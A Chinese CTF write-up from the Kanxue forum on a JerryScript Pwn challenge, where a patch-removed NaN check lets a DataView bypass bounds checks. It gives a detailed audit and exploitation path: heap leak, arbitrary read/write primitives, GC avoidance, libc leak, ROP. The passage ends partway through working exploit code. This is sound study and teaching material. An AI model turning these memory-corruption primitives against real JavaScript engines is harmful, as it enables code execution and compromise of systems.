首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
Pwn
发新帖
1
7
[原创] 第八届“强网”拟态防御国际精英挑战赛 - Cherry
发表于: 2025-12-3 19:40
16948
[原创] 第八届“强网”拟态防御国际精英挑战赛 - Cherry
flyyyy
6
2025-12-3 19:40
16948
# 目录 - [前言](#前言) - [题目信息](#题目信息) - [前置知识](#前置知识) - [类型系统](#类型系统) - [类型调试实例](#类型调试实例) - [漏洞分析](#漏洞分析) - [代码审计思路](#代码审计思路) - [dataview相关代码审计](#dataview相关代码审计) - [dataview与arraybuffer对象的结构](#dataview与arraybuffer对象的结构) - [dataview中的内存越界](#dataview中的内存越界) - [ecma\_op\_dataview\_create](#ecma_op_dataview_create) - [ecma\_op\_dataview\_get\_set\_view\_value](#ecma_op_dataview_get_set_view_value) - [漏洞利用](#漏洞利用) - [泄漏jerry\_global\_heap](#泄漏jerry_global_heap) - [越界读写转化为任意读写](#越界读写转化为任意读写) - [避免gc回收](#避免gc回收) - [泄漏libc](#泄漏libc) - [getshell](#getshell) - [exploit](#exploit) # 前言 拟态决赛的时间在工作日,听说有一道 JerryScript 的 Pwn 题。作为苦逼打工人,周五抽空尝试做了一下。当时构造出 8 字节的越界读写后,一直尝试利用,但由于 GC 的原因一直没有成功,时间比较短,如果再多些时间应该也是可以利用成功的 不过在调试过程中,了解了该引擎的一些机制,发现相比 v8 还是简单很多的。赛后与其他师傅交流,才发现原来可以通过 Patch 中的漏洞实现任意长度的越界读写。因此尝试复现了一下,诞生了这篇 writeup。 # 题目信息 题目给了几个程序运行的链接库,看了下版本是Ubuntu GLIBC 2.39-0ubuntu8.6,由于我本地位wsl2 ubuntu22版本,所以patch了一下 查看jerryscript的版本信息 ```bash ➜ jerry ./jerry --version Version: 3.0.0 (b7069350) ``` 接着本地编译一个,最后会看到build/bin目录下有一个jerry的可执行文件 ```bash git clone https://github.com/jerryscript-project/jerryscript.git cd jerryscript git checkout b7069350 patch -p1 < ../patch python tools/build.py --debug --lto=off ``` # 前置知识 ## 类型系统 类型的定义位于这个文件中jerryscript/jerry-core/ecma/base/ecma-globals.h ecma\_object\_t是类型header的开始部分,其中主要的字段有type、gc\_next\_cp、u1、u2 其中的u1和u2分别代表properties和prototype相关,不是每一个对象都有这两个字段 ```c typedef struct { /** type : 4 bit : ecma_object_type_t or ecma_lexical_environment_type_t depending on ECMA_OBJECT_FLAG_BUILT_IN_OR_LEXICAL_ENV flags : 2 bit : ECMA_OBJECT_FLAG_BUILT_IN_OR_LEXICAL_ENV, ECMA_OBJECT_FLAG_EXTENSIBLE or ECMA_OBJECT_FLAG_BLOCK refs : 10 / 26 bit (max 1022 / 67108862) */ ecma_object_descriptor_t type_flags_refs; /** next in the object chain maintained by the garbage collector */ jmem_cpointer_t gc_next_cp; /** compressed pointer to property list or bound object */ union { jmem_cpointer_t property_list_cp; /**< compressed pointer to object's * or declerative lexical environments's property list */ jmem_cpointer_t bound_object_cp; /**< compressed pointer to lexical environments's the bound object */ jmem_cpointer_t home_object_cp; /**< compressed pointer to lexical environments's the home object */ } u1; /** object prototype or outer reference */ union { jmem_cpointer_t prototype_cp; /**< compressed pointer to the object's prototype */ jmem_cpointer_t outer_reference_cp; /**< compressed pointer to the lexical environments's outer reference */ } u2; } ecma_object_t; ``` type\_flags\_refs中的Type就指的是类型,但是并不像v8那样细分为object arr、double arr…… 其中的refs,这个对于利用的稳定性比较重要,如果产生了越界,可以通过修改这个字段不让改对象被gc回收,从而保持布局的稳定性。 > 然后笔者在实际利用过程中并没有这样,当时没有意识到,回头翻看源码的时候才发现。所以采用了人为构造函数进行ref,增加ref count 下面是一个简单的图示 ```text | 31 ......................... 6 | 5 ...... 4 | 3 ........ 0 | | Reference Count | Flags | Type | | (26 bits) | (2 bits) | (4 bits) | ``` 接着的gc\_next\_cp是用于gc回收时扫描对象而设立的字段,u1与properties相关,在受限的情况下,可以采用修改和这个字段的方式进行类型混淆,u2和原型链有关,暂时也没想到这个怎么用 > 笔者尝试过,当时由于稳定性的原因,没有构造出很好用的原语,等待后续研究…… 下面是ecma\_extended\_object\_t结构体 ```c typedef struct { ecma_object_t object; /**< object header */ /** * Description of extra fields. These extra fields depend on the object type. */ union { ecma_built_in_props_t built_in; /**< built-in object part */ /** * Description of objects with class. * * Note: * class is a reserved word in c++, so cls is used instead */ struct { uint8_t type; /**< class type of the object */ /** * Description of 8 bit extra fields. These extra fields depend on the type. */ union { uint8_t arguments_flags; /**< arguments object flags */ uint8_t error_type; /**< jerry_error_t type of native error objects */ #if JERRY_BUILTIN_DATE uint8_t date_flags; /**< flags for date objects */ #endif /* JERRY_BUILTIN_DATE */ #if JERRY_MODULE_SYSTEM uint8_t module_state; /**< Module state */ #endif /* JERRY_MODULE_SYSTEM */ uint8_t iterator_kind; /**< type of iterator */ uint8_t regexp_string_iterator_flags; /**< flags for RegExp string iterator */ uint8_t promise_flags; /**< Promise object flags */ #if JERRY_BUILTIN_CONTAINER uint8_t container_flags; /**< container object flags */ #endif /* JERRY_BUILTIN_CONTAINER */ #if JERRY_BUILTIN_TYPEDARRAY uint8_t array_buffer_flags; /**< ArrayBuffer flags */ uint8_t typedarray_type; /**< type of typed array */ #endif /* JERRY_BUILTIN_TYPEDARRAY */ } u1; /** * Description of 16 bit extra fields. These extra fields depend on the type. */ union { uint16_t formal_params_number; /**< for arguments: formal parameters number */ #if JERRY_MODULE_SYSTEM uint16_t module_flags; /**< Module flags */ #endif /* JERRY_MODULE_SYSTEM */ uint16_t iterator_index; /**< for %Iterator%: [[%Iterator%NextIndex]] property */ uint16_t executable_obj_flags; /**< executable object flags */ #if JERRY_BUILTIN_CONTAINER uint16_t container_id; /**< magic string id of a container */ #endif /* JERRY_BUILTIN_CONTAINER */ #if JERRY_BUILTIN_TYPEDARRAY uint16_t typedarray_flags; /**< typed array object flags */ #endif /* JERRY_BUILTIN_TYPEDARRAY */ } u2; /** * Description of 32 bit / value. These extra fields depend on the type. */ union { ecma_value_t value; /**< value of the object (e.g. boolean, number, string, etc.) */ ecma_value_t target; /**< [[ProxyTarget]] or [[WeakRefTarget]] internal property */ #if JERRY_BUILTIN_TYPEDARRAY ecma_value_t arraybuffer; /**< for typedarray: ArrayBuffer reference */ #endif /* JERRY_BUILTIN_TYPEDARRAY */ ecma_value_t head; /**< points to the async generator task queue head item */ ecma_value_t iterated_value; /**< for %Iterator%: [[IteratedObject]] property */ ecma_value_t promise; /**< PromiseCapability[[Promise]] internal slot */ ecma_value_t sync_iterator; /**< IteratorRecord [[Iterator]] internal slot for AsyncFromSyncIterator */ ecma_value_t spread_value; /**< for spread object: spreaded element */ int32_t tza; /**< TimeZone adjustment for date objects */ uint32_t length; /**< length related property (e.g. length of ArrayBuffer) */ uint32_t arguments_number; /**< for arguments: arguments number */ #if JERRY_MODULE_SYSTEM uint32_t dfs_ancestor_index; /**< module dfs ancestor index (ES2020 15.2.1.16) */ #endif /* JERRY_MODULE_SYSTEM */ } u3; } cls; /** * Description of function objects. */ struct { jmem_cpointer_tag_t scope_cp; /**< function scope */ ecma_value_t bytecode_cp; /**< function byte code */ } function; /** * Description of array objects. */ struct { uint32_t length; /**< length property value */ uint32_t length_prop_and_hole_count; /**< length property attributes and number of array holes in * a fast access mode array multiplied ECMA_FAST_ACCESS_HOLE_ONE */ } array; /** * Description of bound function object. */ struct { jmem_cpointer_tag_t target_function; /**< target function */ ecma_value_t args_len_or_this; /**< length of arguments or this value */ } bound_function; /** * Description of implicit class constructor function. */ struct { ecma_value_t script_value; /**< script value */ uint8_t flags; /**< constructor flags */ } constructor_function; } u; } ecma_extended_object_t; ``` 简化完毕其实是这样。ecma\_object\_t object和一个union u 其中的object就是上方的通用类型的header,对于复杂类型会使用到ecma\_extended\_object\_t,其中的union u会根据不同的类型选择不同的字段,以此定义不同对象的属性字段 ```c typedef struct { ecma_object_t object; union { struct { uint8_t type; union { uint8_t array_buffer_flags; uint8_t typedarray_type; } u1; union { uint16_t typedarray_flags; } u2; union { uint32_t length; ecma_value_t arraybuffer; ecma_value_t value; } u3; } cls; struct { uint32_t length; uint32_t length_prop_and_hole_count; } array; struct { jmem_cpointer_tag_t scope_cp; ecma_value_t bytecode_cp; } function; struct { jmem_cpointer_tag_t target_function; ecma_value_t args_len_or_this; } bound_function; } u; } ecma_extended_object_t; ``` ## 类型调试实例 > 下面笔者迁移了部分v8 exploit的知识,通过ai写出了一个针对于jerryscript调试的gdb插件,提升了调试的效率 这里以dataview为例子 ```javascript let ab = new ArrayBuffer(0x100); let dv = new DataView(ab,0x10,0x20); dv.setUint32(0x00,0x41414141,true); ``` dataview的定义 ```c typedef struct { ecma_extended_object_t header; /**< header part */ ecma_object_t *buffer_p; /**< [[ViewedArrayBuffer]] internal slot */ uint32_t byte_offset; /**< [[ByteOffset]] internal slot */ } ecma_dataview_object_t; ``` arraybuffer的定义 ```c typedef struct { ecma_extended_object_t extended_object; /**< extended object part */ void *buffer_p; /**< pointer to the backing store of the array buffer object */ void *arraybuffer_user_p; /**< user pointer passed to the free callback */ } ecma_arraybuffer_pointer_t; ``` 实际内存中是这样的,后方的0x10是对应的byte\_offset。0x64eccc323748是arraybuffer的地址 > 注意下方的0x41414141,这里是对应的inline表示,这个并不利于后续的利用,这个是利用的后话了  如何让arraybuffer分配出一个raw pointer呢?这里只需要提高arraybuffer分配的大小即可,我这里提升到了0x1000  # 漏洞分析 ## 代码审计思路 diff的内容 ```diff diff --git a/jerry-core/ecma/operations/ecma-conversion.c b/jerry-core/ecma/operations/ecma-conversion.c index cf0c9fde..5c1b7aa2 100644 --- a/jerry-core/ecma/operations/ecma-conversion.c +++ b/jerry-core/ecma/operations/ecma-conversion.c @@ -905,7 +905,6 @@ ecma_op_to_integer (ecma_value_t value, /**< ecma value */ /* 3 */ if (ecma_number_is_nan (number)) { - *number_p = ECMA_NUMBER_ZERO; return ECMA_VALUE_EMPTY; } ``` 删去了一个对于nan的检查,定位源码可以找到代码的上下文,调用函数是\[A] ecma\_op\_to\_integer,从而可以找到上层的调用上下文分别是\[B] ecma\_op\_to\_length和\[C] ecma\_op\_to\_index函数 ```c ecma_value_t ecma_op_to_integer (ecma_value_t value, /**< ecma value */ ecma_number_t *number_p) /**< [out] ecma number */ {// [A] ...... ecma_number_t number = *number_p; /* 3 */ if (ecma_number_is_nan (number)) { return ECMA_VALUE_EMPTY; } ...... ecma_value_t ecma_op_to_length (ecma_value_t value, /**< ecma value */ ecma_length_t *length) /**< [out] ecma number */ {//[B] /* 1 */ if (ECMA_IS_VALUE_ERROR (value)) { return value; } /* 2 */ ecma_number_t num; ecma_value_t length_num = ecma_op_to_integer (value, &num); ...... ecma_value_t ecma_op_to_index (ecma_value_t value, /**< ecma value */ ecma_number_t *index) /**< [out] ecma number */ {//[C] /* 1. */ if (ecma_is_value_undefined (value)) { *index = 0; return ECMA_VALUE_EMPTY; } /* 2.a */ ecma_number_t integer_index; ecma_value_t index_value = ecma_op_to_integer (value, &integer_index); ``` 接着就是更上层的调用查找,对于ecma\_op\_to\_length来说,更多的是倾向于被字符串和regexp的处理,如果存在漏洞,那么品相也不一定很好,所以我这里继续看了ecma\_op\_to\_index的上层调用  ecma\_op\_to\_index的上层调用如下,这里可以看到很具有代表意义的两个对象,dataview和typearray,如果熟悉v8 exploit的话,这里两个对象的嫌疑最大 ,事实也确实如此,所以接下来继续审计dataview相关的实现 > typearray的代码似乎没有很明显的漏洞,因此主要审计了dataview  ## dataview相关代码审计 ### dataview与arraybuffer对象的结构 首先我们得看一下jerryscript中的dataview对象的结构,所有对象的结果为与这个文件下jerryscript/jerry-core/ecma/base/ecma-globals.h 可以看到使用了ecma\_extended\_object\_t的header,这个是对于复杂对象的header,其中集成了ecma\_object\_t的内容。接着又一个buffer\_p指针,这个其实指向了Arraybuffer,接着是对应的byte\_offset,用户索引Arraybuffer中的偏移 ```c #if JERRY_BUILTIN_DATAVIEW /** * Description of DataView objects. */ typedef struct { ecma_extended_object_t header; /**< header part */ ecma_object_t *buffer_p; /**< [[ViewedArrayBuffer]] internal slot */ uint32_t byte_offset; /**< [[ByteOffset]] internal slot */ } ecma_dataview_object_t; #endif /* JERRY_BUILTIN_DATAVIEW */ ``` 接着看Arraybuffer的对象结构,结构很简单,其中的buffer\_p也就类似于v8中的backingstore ```c typedef struct { ecma_extended_object_t extended_object; /**< extended object part */ void *buffer_p; /**< pointer to the backing store of the array buffer object */ void *arraybuffer_user_p; /**< user pointer passed to the free callback */ } ecma_arraybuffer_pointer_t; ``` 接着可以动态的看一下,测试代码入下 ```javascript let ab = new ArrayBuffer(0x100); let dv = new DataView(ab,0x10); dv.setUint32(0,0x11111111,true); ``` 其中地址0x62e46178e5f0中的dword 0x10就是这里设置的byte\_offset  同时dataview还支持这样的语法,也就是会有一个view\_offset,下发设置了view\_offset为0x10,但是索引了0x20的位置,这个是不合法的,会报错 ```javascript let ab = new ArrayBuffer(0x100); let dv = new DataView(ab,0x10,0x10); dv.setUint32(0x20,0x11111111,true);// error ``` ### dataview中的内存越界 审计代码路径位于jerryscript/jerry-core/ecma/operations/ecma-dataview-object.c #### ecma\_op\_dataview\_create 先审计ecma\_op\_dataview\_create这个函数,关于dataview对象的创建,代码如下 ```javascript ecma_value_t ecma_op_dataview_create (const ecma_value_t *arguments_list_p, /**< arguments list */ uint32_t arguments_list_len) /**< number of arguments */ { JERRY_ASSERT (arguments_list_len == 0 || arguments_list_p != NULL); JERRY_ASSERT (JERRY_CONTEXT (current_new_target_p)); ecma_value_t buffer = arguments_list_len > 0 ? arguments_list_p[0] : ECMA_VALUE_UNDEFINED; /* 2. */ if (!ecma_is_value_object (buffer)) { return ecma_raise_type_error (ECMA_ERR_ARGUMENT_BUFFER_NOT_OBJECT); } ecma_object_t *buffer_p = ecma_get_object_from_value (buffer); if (!(ecma_object_class_is (buffer_p, ECMA_OBJECT_CLASS_ARRAY_BUFFER) || ecma_object_is_shared_arraybuffer (buffer_p))) { return ecma_raise_type_error (ECMA_ERR_ARGUMENT_BUFFER_NOT_ARRAY_OR_SHARED_BUFFER); } /* 3. */ ecma_number_t offset = 0; if (arguments_list_len > 1) { ecma_value_t offset_value = ecma_op_to_index (arguments_list_p[1], &offset);//[a] if (ECMA_IS_VALUE_ERROR (offset_value)) { return offset_value; } } /* 4. */ if (ecma_arraybuffer_is_detached (buffer_p)) { return ecma_raise_type_error (ECMA_ERR_ARRAYBUFFER_IS_DETACHED); } /* 5. */ ecma_number_t buffer_byte_length = ecma_arraybuffer_get_length (buffer_p); /* 6. */ if (offset > buffer_byte_length) { return ecma_raise_range_error (ECMA_ERR_START_OFFSET_IS_OUTSIDE_THE_BOUNDS_OF_THE_BUFFER); } /* 7. */ uint32_t view_byte_length; if (arguments_list_len > 2 && !ecma_is_value_undefined (arguments_list_p[2])) { /* 8.a */ ecma_number_t byte_length_to_index; ecma_value_t byte_length_value = ecma_op_to_index (arguments_list_p[2], &byte_length_to_index); if (ECMA_IS_VALUE_ERROR (byte_length_value)) { return byte_length_value; } /* 8.b */ if (offset + byte_length_to_index > buffer_byte_length)//[b] { return ecma_raise_range_error (ECMA_ERR_START_OFFSET_IS_OUTSIDE_THE_BOUNDS_OF_THE_BUFFER); } JERRY_ASSERT (byte_length_to_index <= UINT32_MAX); view_byte_length = (uint32_t) byte_length_to_index; } else { /* 7.a */ view_byte_length = (uint32_t) (buffer_byte_length - offset); } /* 9. */ ecma_object_t *prototype_obj_p = ecma_op_get_prototype_from_constructor (JERRY_CONTEXT (current_new_target_p), ECMA_BUILTIN_ID_DATAVIEW_PROTOTYPE); if (JERRY_UNLIKELY (prototype_obj_p == NULL)) { return ECMA_VALUE_ERROR; } /* 10. */ if (ecma_arraybuffer_is_detached (buffer_p)) { ecma_deref_object (prototype_obj_p); return ecma_raise_type_error (ECMA_ERR_ARRAYBUFFER_IS_DETACHED); } /* 9. */ /* It must happen after 10., because uninitialized object can't be destroyed properly. */ ecma_object_t *object_p = ecma_create_object (prototype_obj_p, sizeof (ecma_dataview_object_t), ECMA_OBJECT_TYPE_CLASS); ecma_deref_object (prototype_obj_p); /* 11 - 14. */ ecma_dataview_object_t *dataview_obj_p = (ecma_dataview_object_t *) object_p; dataview_obj_p->header.u.cls.type = ECMA_OBJECT_CLASS_DATAVIEW; dataview_obj_p->header.u.cls.u3.length = view_byte_length; dataview_obj_p->buffer_p = buffer_p; dataview_obj_p->byte_offset = (uint32_t) offset; return ecma_make_object_value (object_p); } /* ecma_op_dataview_create */ ``` 这里首先会通过参数列表获取到buffer,这个就是Arraybuffer,接着会检查这个用户传入的Arraybuffer的值是否合法,也就是真实类型是否为Arraybuffer 接着通过参数列表为offset赋值,同时检查是否有问题,可以看到上方\[a]处调用了ecma\_op\_to\_index,这个函数涉及到nan的处理,正常遇到nan会将nan清空为0,并返回正常的状态码ECMA\_VALUE\_EMPTY,但是这里没有清空,所以会正常绕过这个检查,并保留原有的nan的值  接着获取Arraybuffer的长度,并赋值给buffer\_byte\_length。然后进入if (offset > buffer\_byte\_length)判断  问题其实就出现在这个地方,这里的比较逻辑是将nan的值从栈上取出来,赋值给xmm0,也就是浮点数寄存器,接着调用comisd进行比较。 需要注意的在 x86/x64 汇编中,comisd 指令在遇到 NaN 时,如果任一操作数是 NaN,它会设置 ZF=1, PF=1, CF=1,接下来的jbe,它的跳转条件是 CF=1 或 ZF=1,所以这里只要涉及到NaN的比较,这里都会被解释成offset <= length,结果就是绕过这个bound check  调试下eflag,没有比较之前是这样 ```bash pwndbg> info registers eflags eflags 0x206 [ PF IF ] pwndbg> ``` 比较之后是这样,成功绕过了这个检查 ```markdown pwndbg> info registers eflags eflags 0x247 [ CF PF ZF IF ] pwndbg> ``` 现在可以得到一个结论,对于这个检查if (offset > buffer\_byte\_length) offset = NaN 时,可以直接pass 同样的,这个绕过模式还可以传播为(NaN + arb\_val > buffer\_byte\_length)→false,所以我们可以在NaN后面加上任意偏移,这个也就是上方的\[b]处,if (offset + byte\_length\_to\_index > buffer\_byte\_length) 进入\[b]处也很简单,参数是三个就行,也就用到了上方的语法 ```javascript let ab = new ArrayBuffer(0x100); let dv = new DataView(ab,NaN,0xffffffff); ``` 这里,我将view\_byte\_length设置为0xfffffff,buffer\_byte\_length仅为0x100,但是由于offset是nan,所以此时的eflag如下,也就绕过了bound check  最终的NaN被类型转化为uint32\_t变成0,但是view\_byte\_length成功赋值为0xffffffff。至此我们已经成功构造了一个存在越界的dataview对象,我们现在需要接着分析对于dataview的get和set操作,看一下是否可以将这个漏洞扩大,变成一个可以越界读写的原语  #### ecma\_op\_dataview\_get\_set\_view\_value 有了阅读ecma\_op\_dataview\_create的经验,我们其实只需要找这个函数中对于边界检查的部分,通过最后的对象属性赋值部分来验证猜想,所以这个函数的代码被精简如下 ```c ecma_value_t ecma_op_dataview_get_set_view_value (ecma_value_t view, /**< the operation's 'view' argument */ ecma_value_t request_index, /**< the operation's 'requestIndex' argument */ ecma_value_t is_little_endian_value, /**< the operation's * 'isLittleEndian' argument */ ecma_value_t value_to_set, /**< the operation's 'value' argument */ ecma_typedarray_type_t id) /**< the operation's 'type' argument */ { /* 1 - 2. */ ecma_dataview_object_t *view_p = ecma_op_dataview_get_object (view); if (JERRY_UNLIKELY (view_p == NULL)) { return ECMA_VALUE_ERROR; } ecma_object_t *buffer_p = view_p->buffer_p; JERRY_ASSERT (ecma_object_class_is (buffer_p, ECMA_OBJECT_CLASS_ARRAY_BUFFER) || ecma_object_is_shared_arraybuffer (buffer_p)); /* 3. */ ecma_number_t get_index; ecma_value_t number_index_value = ecma_op_to_index (request_index, &get_index); if (ECMA_IS_VALUE_ERROR (number_index_value)) { return number_index_value; } .......... /* GetViewValue 7., SetViewValue 9. */ uint32_t view_offset = view_p->byte_offset; /* GetViewValue 8., SetViewValue 10. */ uint32_t view_size = view_p->header.u.cls.u3.length; /* GetViewValue 9., SetViewValue 11. */ uint8_t element_size = (uint8_t) (1 << (ecma_typedarray_helper_get_shift_size (id))); /* GetViewValue 10., SetViewValue 12. */ if (get_index + element_size > (ecma_number_t) view_size)//[a] { ecma_free_value (value_to_set); return ecma_raise_range_error (ECMA_ERR_START_OFFSET_IS_OUTSIDE_THE_BOUNDS_OF_THE_BUFFER); } if (ECMA_ARRAYBUFFER_LAZY_ALLOC (buffer_p)) { ecma_free_value (value_to_set); return ECMA_VALUE_ERROR; } if (ecma_arraybuffer_is_detached (buffer_p)) { ecma_free_value (value_to_set); return ecma_raise_type_error (ECMA_ERR_ARRAYBUFFER_IS_DETACHED); } /* GetViewValue 11., SetViewValue 13. */ bool system_is_little_endian = ecma_dataview_check_little_endian (); ecma_typedarray_info_t info; info.id = id; info.length = view_size; info.shift = ecma_typedarray_helper_get_shift_size (id); info.element_size = element_size; info.offset = view_p->byte_offset; info.array_buffer_p = buffer_p; /* GetViewValue 12. */ uint8_t *block_p = ecma_arraybuffer_get_buffer (buffer_p) + (uint32_t) get_index + view_offset; .......... } /* ecma_op_dataview_get_set_view_value */ ``` 构造的调试代码如下,这里是构造了一个dv的越界越界读操作 ```javascript let ab = new ArrayBuffer(0x100); let dv = new DataView(ab,NaN,0xffffffff); dv.getUint32(0x200,true); ``` 首先分析上面的源码 注释1-3部分是对于dataview header和arraybuffer header的检查,如果说单纯修改指针,那么这个检查过不去是没用的 接着直接来到上方\[a]部分,也就是这里的边界检查if (get\_index + element\_size > (ecma\_number\_t) view\_size),这个逻辑很正常,就是检查用户传入的index+取出的elment size是否超过了views\_size。 但是需要注意的是这里的view\_size已经被我们修改成了0xffffffff,所以这里相当于直接绕过了这个检查 下方的getindex是0x200,已经超过了arraybuffer的长度,但是由于view\_size被修改,所以越界了,后续就是存值取值的操作  # 漏洞利用 由于笔者也是第一次接触jerryscript的利用,所以最后的脚本经过大量调试得到,所以笔者这里就解释下写利用的思路 ## 泄漏jerry\_global\_heap 我们之前已经得到了一个越界的dv,现在需要思考如何可控。 上面提到了可以通过申请0x1000这样length的arraybuffer,这样就可以让arraybuffer不inline表示,从而分配出一个raw pointer。因此可以通过一个越界的dv去读取内存后方arraybuffer中的buffer\_p字段,那么现在至少存在了一个jerry heap的地址。  接着的问题是如何去定位这个arraybuffer,首先我需要保证我的越界dv地址在受害arraybuffer的前方,所以需要调试一下,这里发现是没有问题的  最简单的定位思路就是写一个特征值,但问题是这样只能扫描到特征值的位置,我们通过特征值的位置无法定位到arraybuffer指向的位置。像下面红框中一样,只能扫描到这个值,但是无法反推。  解决这个问题就需要思考arraybuffer的特征,arraybuffer的特征由前面的0x10个字节的header决定,下发的四个字段中有type、gc\_next、prototype…… ```bash pwndbg> x/4wx 0x5d89998be768 0x5d89998be768 <jerry_global_heap+70888>: 0x22990012 0x016c0000 0x00000319 0x00001000 pwndbg> ``` 因此我选取了Type、ProtoType、ByteLength,这三个字段在我堆喷出来的对象中是一致的,所以我可以通过header的字段来确定受害arraybuffer的位置,那么相邻的就是jerry\_global\_heap段上的值 可以得到这样的一个leak,通过减去0x11a30可以得到一个段开头的地址,但是这个是随机的,根据你写的脚本和环境决定  所以为了稳定性我进行了如下的计算,最后的情况是在多0x9000和少0x9000的情况下摆动 ```typescript let ptr_lo = dv.getUint32(target_idx * 8, true); let ptr_hi = dv.getUint32(target_idx * 8 + 4, true); let heap_global_addr = (BigInt(ptr_hi) << 32n) | BigInt(ptr_lo); heap_global_addr = heap_global_addr - 0x11058n; heap_global_addr = heap_global_addr & ~ 0xfffn; // // 题目下发版本的偏移 heap_global_addr = heap_global_addr + 0x280n; // heap_global_addr = heap_global_addr - 0x9000n + 0x280n; ``` 可以看到jerry\_global\_heap起始地址是这个段的开头+0x280  同时这个jerry\_global\_heap开头的一段内存上是存在函数指针的值,所以我们接下来需要思考如何去利用这个jerry\_global\_heap来泄漏出code\_base、libc等值  ## 越界读写转化为任意读写 通过上方的思路,确实定位到了受害arraybuffer的位置,但是由于这里的arraybuffer是堆喷出来的(如下所示),所以我还需要确定这个arrybuffer的具体位置 ```javascript function inin_dv(arr,arr_length,ab_length){ for(let i=0; i<arr_length; i++) { arr.push(new DataView(new ArrayBuffer(ab_length))); } for (let i=0; i<arr_length; i++) { arr[i].setFloat64(0, u64_to_f64(MagicSign), true); } return arr; } ``` 确定受害arraybuffer的思路是也很清晰,我这里已经可以越界读定位到受害arraybuffer的header,所以可以通过越界写修改arraybuffer的byteLength字段,然后遍历所有的arraybuffer来检查哪一个对象的byteLength被修改了,至此我们已经可以准确定位arraybuffer了 定位到arraybuffer,下面的任意读写就是修改buffer\_p字段,然后调用dataview的get/set方法即可 ## 避免gc回收 这里是为了提高任意读写的稳定性,如何笔者发现完成一次任意读写这里就会触发gc移动,如果此时的buffer\_p是一个gc无法回收的地址,那么就会程序崩溃,所以解决思路也很简单,任意读写完毕之后,把原本的buffer\_p再修改回去。 同时,为了防止原本布置的victim对象被gc回收,可以通过如下方式增加ref count ```javascript function MakeRef(){ return [vic_dv_array]; } ``` 也可以通过上面笔者提到的思路,直接利用越界去修改ref count的值,这样也可以 ## 泄漏libc 存在任意读写之后,可以通过读jerry\_global\_heap段开头的一些handler函数的值,确定code base的值,从而定位到got,然后泄漏位于libc中函数的值  ## getshell 这里笔者由于很久没有接触house of打法,已经不知道2.39应该怎么做了,所以这里采用了通过environ泄漏栈地址的方式,然后劫持main函数的返回地址,实现rop # exploit ```javascript var buf = new ArrayBuffer(8); var f32 = new Float32Array(buf); var f64 = new Float64Array(buf); var u8 = new Uint8Array(buf); var u16 = new Uint16Array(buf); var u32 = new Uint32Array(buf); var u64 = new BigUint64Array(buf); function lh_u32_to_f64(l,h){ u32[0] = l; u32[1] = h; return f64[0]; } function f64_to_u32l(val){ f64[0] = val; return u32[0]; } function f64_to_u32h(val){ f64[0] = val; return u32[1]; } function f64_to_u64(val){ f64[0] = val; return u64[0]; } function u64_to_f64(val){ u64[0] = val; return f64[0]; } function u64_to_u32_lo(val){ u64[0] = val; return u32[0]; } function u64_to_u32_hi(val){ u64[0] = val; return u32[1]; } function logg(name, addr) { print("[+] " + name + ": 0x" + addr.toString(16)); } let grooming = []; function gc() { print("[*] GC initiated"); for (let i = 0; i < 200; i++) { grooming.push(new ArrayBuffer(0x100)); } print("[*] GC completed"); } function spin() { while (1) {} } function inin_dv(arr,arr_length,ab_length){ for(let i=0; i<arr_length; i++) { arr.push(new DataView(new ArrayBuffer(ab_length))); } for (let i=0; i<arr_length; i++) { arr[i].setFloat64(0, u64_to_f64(MagicSign), true); } return arr; } function getType(val){ return (val) & 0xffn; } function getByteLength(val){ return (val >> 32n) & 0xffffffffn; } function getProtoType(val){ return (val) & 0xffffffffn; } function find_victim_ab_idx(oob_dv,feature){ /* let feature = [0x940000200c0012n,0x100000000319n]; pwndbg> x/4wx 0x57086ef86300 0x57086ef86300 <jerry_global_heap+65664>: 0x200c0012 0x00940000 0x00000319 0x00001000 pwndbg> x/4wx 0x57086ef86340 0x57086ef86340 <jerry_global_heap+65728>: 0x20140012 0x00940000 0x00000319 0x00001000 pwndbg> */ print("[*] find_victim_ab_idx"); let Types = getType(feature[0]); let ProtoType = getProtoType(feature[1]); let ByteLength = getByteLength(feature[1]); let val = []; for (let i = 0; i < 0x5000; i++) { val[0] = f64_to_u64(oob_dv.getFloat64(i*8, true)); if (getType(val[0]) == Types){ val[1] = f64_to_u64(oob_dv.getFloat64((i+1)*8, true)); if (getProtoType(val[1]) == ProtoType && getByteLength(val[1]) == ByteLength){ target_idx = i + 2; logg("target_idx: ",target_idx); return target_idx; } } } return -1; } function find_corrupt_dv(oob_dv, dv_arr){ print("[*] find_corrupt_dv"); let len_offset = (target_idx -1 ) * 8 + 4; let maigc = 0x41414141; let original_length = (oob_dv.getUint32(len_offset, true)); logg("original length: ", original_length); oob_dv.setUint32(len_offset, maigc, true); let length = -1; for(let i=0; i<dv_arr.length; i++){ length = dv_arr[i].buffer.byteLength; // print("length: 0x" + length.toString(16)); if(length == maigc){ logg("Found corrupted dv at index: ", i); oob_dv.setUint32(len_offset, original_length, true); return i; } } print("[-] Failed to find corrupted dv"); return -1; } function read64(addr){ let lo = -1; let hi = -1; let orig = f64_to_u64(dv.getFloat64(target_idx * 8, true)); // print("orig: 0x" + orig.toString(16)); dv.setUint32(target_idx * 8, Number(addr & 0xffffffffn), true); dv.setUint32(target_idx * 8 + 4, Number((addr >> 32n) & 0xffffffffn), true); lo = vic_dv_array[corrupt_idx].getUint32(0, true); hi = vic_dv_array[corrupt_idx].getUint32(4, true); let ret = (BigInt(hi) << 32n) | BigInt(lo); dv.setFloat64(target_idx * 8, u64_to_f64(orig), true); // print("orig: 0x" + orig.toString(16)); return ret; } function write32(addr, value){ let lo = -1; let hi = -1; let orig = f64_to_u64(dv.getFloat64(target_idx * 8, true)); dv.setUint32(target_idx * 8, Number(addr & 0xffffffffn), true); dv.setUint32(target_idx * 8 + 4, Number((addr >> 32n) & 0xffffffffn), true); vic_dv_array[corrupt_idx].setUint32(0, Number(value & 0xffffffffn), true); dv.setFloat64(target_idx * 8, u64_to_f64(orig), true); } function write64(addr, value){ let lo = -1; let hi = -1; let orig = f64_to_u64(dv.getFloat64(target_idx * 8, true)); dv.setUint32(target_idx * 8, Number(addr & 0xffffffffn), true); dv.setUint32(target_idx * 8 + 4, Number((addr >> 32n) & 0xffffffffn), true); vic_dv_array[corrupt_idx].setUint32(0, Number(value & 0xffffffffn), true); vic_dv_array[corrupt_idx].setUint32(4, Number((value >> 32n) & 0xffffffffn), true); dv.setFloat64(target_idx * 8, u64_to_f64(orig), true); } function TestPrimitive(){ print("[*] 